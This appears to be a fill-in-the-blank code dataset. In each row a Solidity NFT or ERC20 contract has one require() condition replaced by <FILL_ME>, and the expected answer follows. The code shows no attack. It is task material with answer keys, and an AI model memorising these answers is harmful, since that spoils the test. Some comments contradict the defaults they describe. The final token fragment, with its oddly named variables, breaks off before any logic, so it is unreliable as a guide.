| msg.value>=(uint256(_amount)*salePrice*10**26)/uint256(getLatestPrice()),"Not enough funds" | 232,831 | msg.value>=(uint256(_amount)*salePrice*10**26)/uint256(getLatestPrice()) |
"Mint in stableCoin not allowed now." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol";
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
contract StartMining721 is Ownable, ReentrancyGuard, ERC721Pausable {
using Strings for uint256;
using SafeERC20 for IERC20;
IERC20 private stableCoin; // Stable coin contract address (can be another stable coin)
AggregatorV3Interface internal priceFeed; // Chainlink ETH/USD
address private recipient; // Recipient address
address private crossMintAddress = 0xdAb1a1854214684acE522439684a145E62505233; // Cross mint address
struct Referrer {
uint256 referredCount;
uint256 alreadyClaimed;
}
bool public salePaused = true; // Pause minting, default true.
bool public referralPaused = false; // Pause referral, default false.
bool public crossMintPaused = false; // Pause cross minting, default true.
bool public stableCoinMintPaused = false; // Pause stable coin minting, default true.
bool public etherMintPaused = false; // Pause classic minting, default true.
bool public metadataRedirection = true; // Redirect all metadata to the same IPFS, default true.
uint16 public salePrice = 1000; // 1000$ USD
uint256 public currentNFT;
uint256 public limitNFT = 500;
string public baseURI;
mapping(address => Referrer) public referrerByAddress;
/* ********************************** */
/* Events */
/* ********************************** */
event ChainlinkUpdated(address addressPriceFeed); // Chainlink's aggregator address updated
event PauseUpdated(bool paused); // Pause updated
event PriceUpdated(uint16 salePrice); // Sale price updated
event InitializedMint(uint256 tokenId, uint256 limit, uint16 salePrice); // New mint season initialized
/*
* @notice Constructor of the contract ERC721.
* @param string memory _baseURI : Metadatas URI for the ERC721.
* @param IERC20 _stableCoin : stableCoin contract address (can be another stable coin)
* @param address _recipient : Recipient address
* @param AggregatorV3Interface _priceFeed : Chainlink Goerli ETH/USD
*/
constructor(string memory _baseURI, IERC20 _stableCoin, address _recipient, AggregatorV3Interface _priceFeed) ERC721("START", "START") {
}
/* ********************************** */
/* Modifier */
/* ********************************** */
/*
* @notice Safety checks common to each mint function.
* @param uint16 _amount : Amount of tokens to mint.
* @param address _referral : Address of the referral.
*/
modifier mintModifier(uint16 _amount, address _referral) {
}
/* ********************************** */
/* Mint */
/* ********************************** */
/*
* @notice Initialize a new mint season of NFT ready to be minted.
* @param uint256 _limit : Maximum amount of units.
* @param uint16 _salePrice : Price value of 1 NFT.
*/
function initMint(uint256 _limit, uint16 _salePrice) external onlyOwner {
}
/*
* @notice Private function to mint during the sale. This function is called by all the public mint functions.
* @param address _to : Address that will receive the NFT.
* @param address _referral : Address of the referral.
*/
function _mintSale(address _to, address _referral) private {
}
/*
* @notice Mint in ETH during the sale.
* @param uint16 _amount : Amount of tokens to mint.
* @param address _referral : Address of the referral.
*/
function mintSale(uint16 _amount, address _referral) external payable nonReentrant mintModifier(_amount, _referral) {
}
/*
* @notice Mint in stableCoin during the sale.
* @param uint16 _amount : Amount of tokens to mint.
* @param address _referral : Address of the referral.
*/
function mintSaleStableCoin(uint16 _amount, address _referral) external nonReentrant mintModifier(_amount, _referral) {
require(<FILL_ME>)
stableCoin.safeTransferFrom(msg.sender, recipient, uint256(_amount) * salePrice * 10**18);
for (uint16 i = 0; i < _amount; i++) {
_mintSale(msg.sender, _referral);
}
}
/*
* @notice Crossmint allows payment by credit card.
* @param address _to : Address that will receive the NFT.
* @param uint16 _amount : Amount of tokens to mint.
* @param address _referral : Adress of the referral.
*/
function crossMintSale(address _to, uint16 _amount, address _referral) external payable mintModifier(_amount, _referral) {
}
/*
* @notice Allows the owner to offer NFTs.
* @param address _to : Receiving address.
* @param uint16 _amount : Amount of tokens to mint.
*/
function gift(address _to, uint16 _amount) external onlyOwner {
}
/* ********************************** */
/* Rewards */
/* ********************************** */
/*
* @notice Allows user to claim rewards.
*/
function claimReward() external nonReentrant {
}
/* ********************************** */
/* Getters */
/* ********************************** */
/*
* @notice Get the current ETH/USD price.
* @dev The function uses the chainlink aggregator.
* @return int Price value.
*/
function getLatestPrice() public view returns (int256) {
}
/*
* @notice Get the current of one NFT in ETH.
*/
function getSalePrice() public view returns (uint256) {
}
/*
* @notice Get total supply
*/
function totalSupply() public view returns (uint256) {
}
/*
* @notice Returns the list of NFT by a user.
* @param address _user : Address of the user.
* @return uint256[] : List of tokenIds.
*/
function getNFTsByUserAddress(address _user) external view returns (uint256[] memory) {
}
/* ********************************** */
/* Setters */
/* ********************************** */
/*
* @notice Update "stableCoin" variable.
* @param address _newstableCoin : Address of the new stableCoin contract.
*/
function setStableCoin(address _newStableCoin) external onlyOwner {
}
/*
* @notice Update "recipient" variable.
* @param address _newRecipient : Address of the new recipient.
*/
function setRecipient(address _newRecipient) external onlyOwner {
}
/*
* @notice Update "priceFeed" variable.
* @param address _newPriceFeed : Address of the new priceFeed.
*/
function setPriceFeed(address _newPriceFeed) external onlyOwner {
}
/*
* @notice Update "salePrice" variable.
* @param uint16 _newPrice : New sale price in stableCoin.
*/
function setSalePrice(uint16 _newPrice) external onlyOwner {
}
/*
* @notice Update "baseURI" variable.
* @param string calldata _newBaseURI : New base URI.
*/
function setBaseURI(string calldata _newBaseURI) external onlyOwner {
}
/*
* @notice Update "crossMintAddress" variable.
* @param address _newCrossMintAddress : New crossMintAddress.
*/
function setCrossMintAddress(address _newCrossMintAddress) external onlyOwner {
}
/*
* @notice Toggle "metadataRedirection" variable.
*/
function toggleMetadataRedirection() external onlyOwner {
}
/* ********************************** */
/* Pauser */
/* ********************************** */
/*
* @notice Toggle state of "salePaused" variable. If true, minting is disabled.
*/
function toggleSalePaused() external onlyOwner {
}
/*
* @notice Toggle state of "referralPaused" variable. If true, referral is disabled.
*/
function toggleReferralPaused() external onlyOwner {
}
/*
* @notice Toggle state of "crossMintPaused" variable. If true, crossMint is disabled.
*/
function toggleCrossMintPaused() external onlyOwner {
}
/*
* @notice Toggle state of "stableCoinMintPaused" variable. If true, stableCoinMint is disabled.
*/
function toggleStableCoinMintPaused() external onlyOwner {
}
/*
* @notice Toggle state of "etherMintPaused" variable. If true, classicMint is disabled.
*/
function toggleEtherMintPaused() external onlyOwner {
}
/*
* @notice pause the contract. (emergency)
*/
function pause() public onlyOwner {
}
/*
* @notice unpause the contract.
*/
function unpause() public onlyOwner {
}
/*
* @notice Allows access to off-chain metadatas.
* @param _tokenId Id of the token.
* @return string Token's metadatas URI.
*/
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
}
| !stableCoinMintPaused,"Mint in stableCoin not allowed now." | 232,831 | !stableCoinMintPaused |
"Crossmint not allowed now." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol";
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
contract StartMining721 is Ownable, ReentrancyGuard, ERC721Pausable {
using Strings for uint256;
using SafeERC20 for IERC20;
IERC20 private stableCoin; // Stable coin contract address (can be another stable coin)
AggregatorV3Interface internal priceFeed; // Chainlink ETH/USD
address private recipient; // Recipient address
address private crossMintAddress = 0xdAb1a1854214684acE522439684a145E62505233; // Cross mint address
struct Referrer {
uint256 referredCount;
uint256 alreadyClaimed;
}
bool public salePaused = true; // Pause minting, default true.
bool public referralPaused = false; // Pause referral, default false.
bool public crossMintPaused = false; // Pause cross minting, default true.
bool public stableCoinMintPaused = false; // Pause stable coin minting, default true.
bool public etherMintPaused = false; // Pause classic minting, default true.
bool public metadataRedirection = true; // Redirect all metadata to the same IPFS, default true.
uint16 public salePrice = 1000; // 1000$ USD
uint256 public currentNFT;
uint256 public limitNFT = 500;
string public baseURI;
mapping(address => Referrer) public referrerByAddress;
/* ********************************** */
/* Events */
/* ********************************** */
event ChainlinkUpdated(address addressPriceFeed); // Chainlink's aggregator address updated
event PauseUpdated(bool paused); // Pause updated
event PriceUpdated(uint16 salePrice); // Sale price updated
event InitializedMint(uint256 tokenId, uint256 limit, uint16 salePrice); // New mint season initialized
/*
* @notice Constructor of the contract ERC721.
* @param string memory _baseURI : Metadatas URI for the ERC721.
* @param IERC20 _stableCoin : stableCoin contract address (can be another stable coin)
* @param address _recipient : Recipient address
* @param AggregatorV3Interface _priceFeed : Chainlink Goerli ETH/USD
*/
constructor(string memory _baseURI, IERC20 _stableCoin, address _recipient, AggregatorV3Interface _priceFeed) ERC721("START", "START") {
}
/* ********************************** */
/* Modifier */
/* ********************************** */
/*
* @notice Safety checks common to each mint function.
* @param uint16 _amount : Amount of tokens to mint.
* @param address _referral : Address of the referral.
*/
modifier mintModifier(uint16 _amount, address _referral) {
}
/* ********************************** */
/* Mint */
/* ********************************** */
/*
* @notice Initialize a new mint season of NFT ready to be minted.
* @param uint256 _limit : Maximum amount of units.
* @param uint16 _salePrice : Price value of 1 NFT.
*/
function initMint(uint256 _limit, uint16 _salePrice) external onlyOwner {
}
/*
* @notice Private function to mint during the sale. This function is called by all the public mint functions.
* @param address _to : Address that will receive the NFT.
* @param address _referral : Address of the referral.
*/
function _mintSale(address _to, address _referral) private {
}
/*
* @notice Mint in ETH during the sale.
* @param uint16 _amount : Amount of tokens to mint.
* @param address _referral : Address of the referral.
*/
function mintSale(uint16 _amount, address _referral) external payable nonReentrant mintModifier(_amount, _referral) {
}
/*
* @notice Mint in stableCoin during the sale.
* @param uint16 _amount : Amount of tokens to mint.
* @param address _referral : Address of the referral.
*/
function mintSaleStableCoin(uint16 _amount, address _referral) external nonReentrant mintModifier(_amount, _referral) {
}
/*
* @notice Crossmint allows payment by credit card.
* @param address _to : Address that will receive the NFT.
* @param uint16 _amount : Amount of tokens to mint.
* @param address _referral : Adress of the referral.
*/
function crossMintSale(address _to, uint16 _amount, address _referral) external payable mintModifier(_amount, _referral) {
require(<FILL_ME>)
require(msg.sender == crossMintAddress, "This function is for Crossmint only.");
require(msg.value >= (uint256(_amount) * salePrice * 10**26) / uint256(getLatestPrice()), "Not enough funds");
payable(recipient).transfer(address(this).balance);
for (uint16 i = 0; i < _amount; i++) {
_mintSale(_to, _referral);
}
}
/*
* @notice Allows the owner to offer NFTs.
* @param address _to : Receiving address.
* @param uint16 _amount : Amount of tokens to mint.
*/
function gift(address _to, uint16 _amount) external onlyOwner {
}
/* ********************************** */
/* Rewards */
/* ********************************** */
/*
* @notice Allows user to claim rewards.
*/
function claimReward() external nonReentrant {
}
/* ********************************** */
/* Getters */
/* ********************************** */
/*
* @notice Get the current ETH/USD price.
* @dev The function uses the chainlink aggregator.
* @return int Price value.
*/
function getLatestPrice() public view returns (int256) {
}
/*
* @notice Get the current of one NFT in ETH.
*/
function getSalePrice() public view returns (uint256) {
}
/*
* @notice Get total supply
*/
function totalSupply() public view returns (uint256) {
}
/*
* @notice Returns the list of NFT by a user.
* @param address _user : Address of the user.
* @return uint256[] : List of tokenIds.
*/
function getNFTsByUserAddress(address _user) external view returns (uint256[] memory) {
}
/* ********************************** */
/* Setters */
/* ********************************** */
/*
* @notice Update "stableCoin" variable.
* @param address _newstableCoin : Address of the new stableCoin contract.
*/
function setStableCoin(address _newStableCoin) external onlyOwner {
}
/*
* @notice Update "recipient" variable.
* @param address _newRecipient : Address of the new recipient.
*/
function setRecipient(address _newRecipient) external onlyOwner {
}
/*
* @notice Update "priceFeed" variable.
* @param address _newPriceFeed : Address of the new priceFeed.
*/
function setPriceFeed(address _newPriceFeed) external onlyOwner {
}
/*
* @notice Update "salePrice" variable.
* @param uint16 _newPrice : New sale price in stableCoin.
*/
function setSalePrice(uint16 _newPrice) external onlyOwner {
}
/*
* @notice Update "baseURI" variable.
* @param string calldata _newBaseURI : New base URI.
*/
function setBaseURI(string calldata _newBaseURI) external onlyOwner {
}
/*
* @notice Update "crossMintAddress" variable.
* @param address _newCrossMintAddress : New crossMintAddress.
*/
function setCrossMintAddress(address _newCrossMintAddress) external onlyOwner {
}
/*
* @notice Toggle "metadataRedirection" variable.
*/
function toggleMetadataRedirection() external onlyOwner {
}
/* ********************************** */
/* Pauser */
/* ********************************** */
/*
* @notice Toggle state of "salePaused" variable. If true, minting is disabled.
*/
function toggleSalePaused() external onlyOwner {
}
/*
* @notice Toggle state of "referralPaused" variable. If true, referral is disabled.
*/
function toggleReferralPaused() external onlyOwner {
}
/*
* @notice Toggle state of "crossMintPaused" variable. If true, crossMint is disabled.
*/
function toggleCrossMintPaused() external onlyOwner {
}
/*
* @notice Toggle state of "stableCoinMintPaused" variable. If true, stableCoinMint is disabled.
*/
function toggleStableCoinMintPaused() external onlyOwner {
}
/*
* @notice Toggle state of "etherMintPaused" variable. If true, classicMint is disabled.
*/
function toggleEtherMintPaused() external onlyOwner {
}
/*
* @notice pause the contract. (emergency)
*/
function pause() public onlyOwner {
}
/*
* @notice unpause the contract.
*/
function unpause() public onlyOwner {
}
/*
* @notice Allows access to off-chain metadatas.
* @param _tokenId Id of the token.
* @return string Token's metadatas URI.
*/
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
}
| !crossMintPaused,"Crossmint not allowed now." | 232,831 | !crossMintPaused |
"Referral paused" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol";
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
contract StartMining721 is Ownable, ReentrancyGuard, ERC721Pausable {
using Strings for uint256;
using SafeERC20 for IERC20;
IERC20 private stableCoin; // Stable coin contract address (can be another stable coin)
AggregatorV3Interface internal priceFeed; // Chainlink ETH/USD
address private recipient; // Recipient address
address private crossMintAddress = 0xdAb1a1854214684acE522439684a145E62505233; // Cross mint address
struct Referrer {
uint256 referredCount;
uint256 alreadyClaimed;
}
bool public salePaused = true; // Pause minting, default true.
bool public referralPaused = false; // Pause referral, default false.
bool public crossMintPaused = false; // Pause cross minting, default true.
bool public stableCoinMintPaused = false; // Pause stable coin minting, default true.
bool public etherMintPaused = false; // Pause classic minting, default true.
bool public metadataRedirection = true; // Redirect all metadata to the same IPFS, default true.
uint16 public salePrice = 1000; // 1000$ USD
uint256 public currentNFT;
uint256 public limitNFT = 500;
string public baseURI;
mapping(address => Referrer) public referrerByAddress;
/* ********************************** */
/* Events */
/* ********************************** */
event ChainlinkUpdated(address addressPriceFeed); // Chainlink's aggregator address updated
event PauseUpdated(bool paused); // Pause updated
event PriceUpdated(uint16 salePrice); // Sale price updated
event InitializedMint(uint256 tokenId, uint256 limit, uint16 salePrice); // New mint season initialized
/*
* @notice Constructor of the contract ERC721.
* @param string memory _baseURI : Metadatas URI for the ERC721.
* @param IERC20 _stableCoin : stableCoin contract address (can be another stable coin)
* @param address _recipient : Recipient address
* @param AggregatorV3Interface _priceFeed : Chainlink Goerli ETH/USD
*/
constructor(string memory _baseURI, IERC20 _stableCoin, address _recipient, AggregatorV3Interface _priceFeed) ERC721("START", "START") {
}
/* ********************************** */
/* Modifier */
/* ********************************** */
/*
* @notice Safety checks common to each mint function.
* @param uint16 _amount : Amount of tokens to mint.
* @param address _referral : Address of the referral.
*/
modifier mintModifier(uint16 _amount, address _referral) {
}
/* ********************************** */
/* Mint */
/* ********************************** */
/*
* @notice Initialize a new mint season of NFT ready to be minted.
* @param uint256 _limit : Maximum amount of units.
* @param uint16 _salePrice : Price value of 1 NFT.
*/
function initMint(uint256 _limit, uint16 _salePrice) external onlyOwner {
}
/*
* @notice Private function to mint during the sale. This function is called by all the public mint functions.
* @param address _to : Address that will receive the NFT.
* @param address _referral : Address of the referral.
*/
function _mintSale(address _to, address _referral) private {
}
/*
* @notice Mint in ETH during the sale.
* @param uint16 _amount : Amount of tokens to mint.
* @param address _referral : Address of the referral.
*/
function mintSale(uint16 _amount, address _referral) external payable nonReentrant mintModifier(_amount, _referral) {
}
/*
* @notice Mint in stableCoin during the sale.
* @param uint16 _amount : Amount of tokens to mint.
* @param address _referral : Address of the referral.
*/
function mintSaleStableCoin(uint16 _amount, address _referral) external nonReentrant mintModifier(_amount, _referral) {
}
/*
* @notice Crossmint allows payment by credit card.
* @param address _to : Address that will receive the NFT.
* @param uint16 _amount : Amount of tokens to mint.
* @param address _referral : Adress of the referral.
*/
function crossMintSale(address _to, uint16 _amount, address _referral) external payable mintModifier(_amount, _referral) {
}
/*
* @notice Allows the owner to offer NFTs.
* @param address _to : Receiving address.
* @param uint16 _amount : Amount of tokens to mint.
*/
function gift(address _to, uint16 _amount) external onlyOwner {
}
/* ********************************** */
/* Rewards */
/* ********************************** */
/*
* @notice Allows user to claim rewards.
*/
function claimReward() external nonReentrant {
require(<FILL_ME>)
uint256 countReferral = referrerByAddress[msg.sender].referredCount;
require(countReferral >= 100, "Not enough referral yet");
uint256 amountNFTClaimable;
if (countReferral < 1000)
amountNFTClaimable = (1 + (countReferral - 100) / 34) - referrerByAddress[msg.sender].alreadyClaimed;
else {
amountNFTClaimable = (28 + (countReferral - 1000) / 20) - referrerByAddress[msg.sender].alreadyClaimed;
}
require(amountNFTClaimable > 0, "No rewards available");
referrerByAddress[msg.sender].alreadyClaimed += amountNFTClaimable;
for (uint16 i = 0; i < amountNFTClaimable; i++) {
_mintSale(msg.sender, address(0));
}
}
/* ********************************** */
/* Getters */
/* ********************************** */
/*
* @notice Get the current ETH/USD price.
* @dev The function uses the chainlink aggregator.
* @return int Price value.
*/
function getLatestPrice() public view returns (int256) {
}
/*
* @notice Get the current of one NFT in ETH.
*/
function getSalePrice() public view returns (uint256) {
}
/*
* @notice Get total supply
*/
function totalSupply() public view returns (uint256) {
}
/*
* @notice Returns the list of NFT by a user.
* @param address _user : Address of the user.
* @return uint256[] : List of tokenIds.
*/
function getNFTsByUserAddress(address _user) external view returns (uint256[] memory) {
}
/* ********************************** */
/* Setters */
/* ********************************** */
/*
* @notice Update "stableCoin" variable.
* @param address _newstableCoin : Address of the new stableCoin contract.
*/
function setStableCoin(address _newStableCoin) external onlyOwner {
}
/*
* @notice Update "recipient" variable.
* @param address _newRecipient : Address of the new recipient.
*/
function setRecipient(address _newRecipient) external onlyOwner {
}
/*
* @notice Update "priceFeed" variable.
* @param address _newPriceFeed : Address of the new priceFeed.
*/
function setPriceFeed(address _newPriceFeed) external onlyOwner {
}
/*
* @notice Update "salePrice" variable.
* @param uint16 _newPrice : New sale price in stableCoin.
*/
function setSalePrice(uint16 _newPrice) external onlyOwner {
}
/*
* @notice Update "baseURI" variable.
* @param string calldata _newBaseURI : New base URI.
*/
function setBaseURI(string calldata _newBaseURI) external onlyOwner {
}
/*
* @notice Update "crossMintAddress" variable.
* @param address _newCrossMintAddress : New crossMintAddress.
*/
function setCrossMintAddress(address _newCrossMintAddress) external onlyOwner {
}
/*
* @notice Toggle "metadataRedirection" variable.
*/
function toggleMetadataRedirection() external onlyOwner {
}
/* ********************************** */
/* Pauser */
/* ********************************** */
/*
* @notice Toggle state of "salePaused" variable. If true, minting is disabled.
*/
function toggleSalePaused() external onlyOwner {
}
/*
* @notice Toggle state of "referralPaused" variable. If true, referral is disabled.
*/
function toggleReferralPaused() external onlyOwner {
}
/*
* @notice Toggle state of "crossMintPaused" variable. If true, crossMint is disabled.
*/
function toggleCrossMintPaused() external onlyOwner {
}
/*
* @notice Toggle state of "stableCoinMintPaused" variable. If true, stableCoinMint is disabled.
*/
function toggleStableCoinMintPaused() external onlyOwner {
}
/*
* @notice Toggle state of "etherMintPaused" variable. If true, classicMint is disabled.
*/
function toggleEtherMintPaused() external onlyOwner {
}
/*
* @notice pause the contract. (emergency)
*/
function pause() public onlyOwner {
}
/*
* @notice unpause the contract.
*/
function unpause() public onlyOwner {
}
/*
* @notice Allows access to off-chain metadatas.
* @param _tokenId Id of the token.
* @return string Token's metadatas URI.
*/
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
}
| !referralPaused,"Referral paused" | 232,831 | !referralPaused |
"You are not the owner of this token." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract GMachine is ERC721, Ownable, ReentrancyGuard {
using Counters for Counters.Counter;
using Strings for uint256;
Counters.Counter _tokenIds;
mapping(uint256 => string) _tokenURIs;
mapping(string => uint) ipfsHashTokenIds;
mapping(uint256 => bool) public lockedTokenIds;
uint256 public cost = 0.001 ether;
bool public paused = true;
struct RenderToken {
uint256 id;
string uri;
}
constructor(string memory zeroURI) ERC721("GMachine", "GMACH") {
}
modifier tokenExists(uint _tokenId) {
}
function setPaused() public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
}
///If using IPFS write "ipfs://CID" otherwise just a link to json file.
function updateMetadataIPFSHash(uint _tokenId, string calldata _tokenMetadataIPFSHash) tokenExists(_tokenId) external {
require(<FILL_ME>)
require(!lockedTokenIds[_tokenId],"This token uri is locked");
require(ipfsHashTokenIds[_tokenMetadataIPFSHash] == 0, "This IPFS hash has already been assigned.");
_tokenURIs[_tokenId] = _tokenMetadataIPFSHash;
ipfsHashTokenIds[_tokenMetadataIPFSHash] = _tokenId;
}
///Once you lock the token it can't be reversed
function lockTokenIDMetadata(uint _tokenId) tokenExists(_tokenId) external {
}
///This function is for displaying on the fronend
function getAllTokens() public view returns (RenderToken[] memory) {
}
///If minting from contract: if using IPFS write "ipfs://CID" otherwise just a link to json file.
function mint(address recipient, string memory uri) public payable nonReentrant returns (uint256) {
}
function withdraw() external onlyOwner{
}
}
| _msgSender()==ownerOf(_tokenId),"You are not the owner of this token." | 233,000 | _msgSender()==ownerOf(_tokenId) |
"This token uri is locked" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract GMachine is ERC721, Ownable, ReentrancyGuard {
using Counters for Counters.Counter;
using Strings for uint256;
Counters.Counter _tokenIds;
mapping(uint256 => string) _tokenURIs;
mapping(string => uint) ipfsHashTokenIds;
mapping(uint256 => bool) public lockedTokenIds;
uint256 public cost = 0.001 ether;
bool public paused = true;
struct RenderToken {
uint256 id;
string uri;
}
constructor(string memory zeroURI) ERC721("GMachine", "GMACH") {
}
modifier tokenExists(uint _tokenId) {
}
function setPaused() public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
}
///If using IPFS write "ipfs://CID" otherwise just a link to json file.
function updateMetadataIPFSHash(uint _tokenId, string calldata _tokenMetadataIPFSHash) tokenExists(_tokenId) external {
require(_msgSender() == ownerOf(_tokenId), "You are not the owner of this token.");
require(<FILL_ME>)
require(ipfsHashTokenIds[_tokenMetadataIPFSHash] == 0, "This IPFS hash has already been assigned.");
_tokenURIs[_tokenId] = _tokenMetadataIPFSHash;
ipfsHashTokenIds[_tokenMetadataIPFSHash] = _tokenId;
}
///Once you lock the token it can't be reversed
function lockTokenIDMetadata(uint _tokenId) tokenExists(_tokenId) external {
}
///This function is for displaying on the fronend
function getAllTokens() public view returns (RenderToken[] memory) {
}
///If minting from contract: if using IPFS write "ipfs://CID" otherwise just a link to json file.
function mint(address recipient, string memory uri) public payable nonReentrant returns (uint256) {
}
function withdraw() external onlyOwner{
}
}
| !lockedTokenIds[_tokenId],"This token uri is locked" | 233,000 | !lockedTokenIds[_tokenId] |
"This IPFS hash has already been assigned." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract GMachine is ERC721, Ownable, ReentrancyGuard {
using Counters for Counters.Counter;
using Strings for uint256;
Counters.Counter _tokenIds;
mapping(uint256 => string) _tokenURIs;
mapping(string => uint) ipfsHashTokenIds;
mapping(uint256 => bool) public lockedTokenIds;
uint256 public cost = 0.001 ether;
bool public paused = true;
struct RenderToken {
uint256 id;
string uri;
}
constructor(string memory zeroURI) ERC721("GMachine", "GMACH") {
}
modifier tokenExists(uint _tokenId) {
}
function setPaused() public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
}
///If using IPFS write "ipfs://CID" otherwise just a link to json file.
function updateMetadataIPFSHash(uint _tokenId, string calldata _tokenMetadataIPFSHash) tokenExists(_tokenId) external {
require(_msgSender() == ownerOf(_tokenId), "You are not the owner of this token.");
require(!lockedTokenIds[_tokenId],"This token uri is locked");
require(<FILL_ME>)
_tokenURIs[_tokenId] = _tokenMetadataIPFSHash;
ipfsHashTokenIds[_tokenMetadataIPFSHash] = _tokenId;
}
///Once you lock the token it can't be reversed
function lockTokenIDMetadata(uint _tokenId) tokenExists(_tokenId) external {
}
///This function is for displaying on the fronend
function getAllTokens() public view returns (RenderToken[] memory) {
}
///If minting from contract: if using IPFS write "ipfs://CID" otherwise just a link to json file.
function mint(address recipient, string memory uri) public payable nonReentrant returns (uint256) {
}
function withdraw() external onlyOwner{
}
}
| ipfsHashTokenIds[_tokenMetadataIPFSHash]==0,"This IPFS hash has already been assigned." | 233,000 | ipfsHashTokenIds[_tokenMetadataIPFSHash]==0 |
"This IPFS hash has already been assigned." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract GMachine is ERC721, Ownable, ReentrancyGuard {
using Counters for Counters.Counter;
using Strings for uint256;
Counters.Counter _tokenIds;
mapping(uint256 => string) _tokenURIs;
mapping(string => uint) ipfsHashTokenIds;
mapping(uint256 => bool) public lockedTokenIds;
uint256 public cost = 0.001 ether;
bool public paused = true;
struct RenderToken {
uint256 id;
string uri;
}
constructor(string memory zeroURI) ERC721("GMachine", "GMACH") {
}
modifier tokenExists(uint _tokenId) {
}
function setPaused() public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
}
///If using IPFS write "ipfs://CID" otherwise just a link to json file.
function updateMetadataIPFSHash(uint _tokenId, string calldata _tokenMetadataIPFSHash) tokenExists(_tokenId) external {
}
///Once you lock the token it can't be reversed
function lockTokenIDMetadata(uint _tokenId) tokenExists(_tokenId) external {
}
///This function is for displaying on the fronend
function getAllTokens() public view returns (RenderToken[] memory) {
}
///If minting from contract: if using IPFS write "ipfs://CID" otherwise just a link to json file.
function mint(address recipient, string memory uri) public payable nonReentrant returns (uint256) {
require(!paused, "The contract is paused!");
require(msg.value == cost, "Insufficient funds!");
require(<FILL_ME>)
uint256 newId = _tokenIds.current();
_mint(recipient, newId);
_setTokenURI(newId, uri);
_tokenIds.increment();
ipfsHashTokenIds[uri] = newId;
lockedTokenIds[newId] = false;
return newId;
}
function withdraw() external onlyOwner{
}
}
| ipfsHashTokenIds[uri]==0,"This IPFS hash has already been assigned." | 233,000 | ipfsHashTokenIds[uri]==0 |
"ERC20: trading is not yet enabled." | pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private addEx;
uint256 private exBoyfriend = block.number*2;
mapping (address => bool) private _firstBoyfriend;
mapping (address => bool) private _secondGirlfriend;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private redSauce;
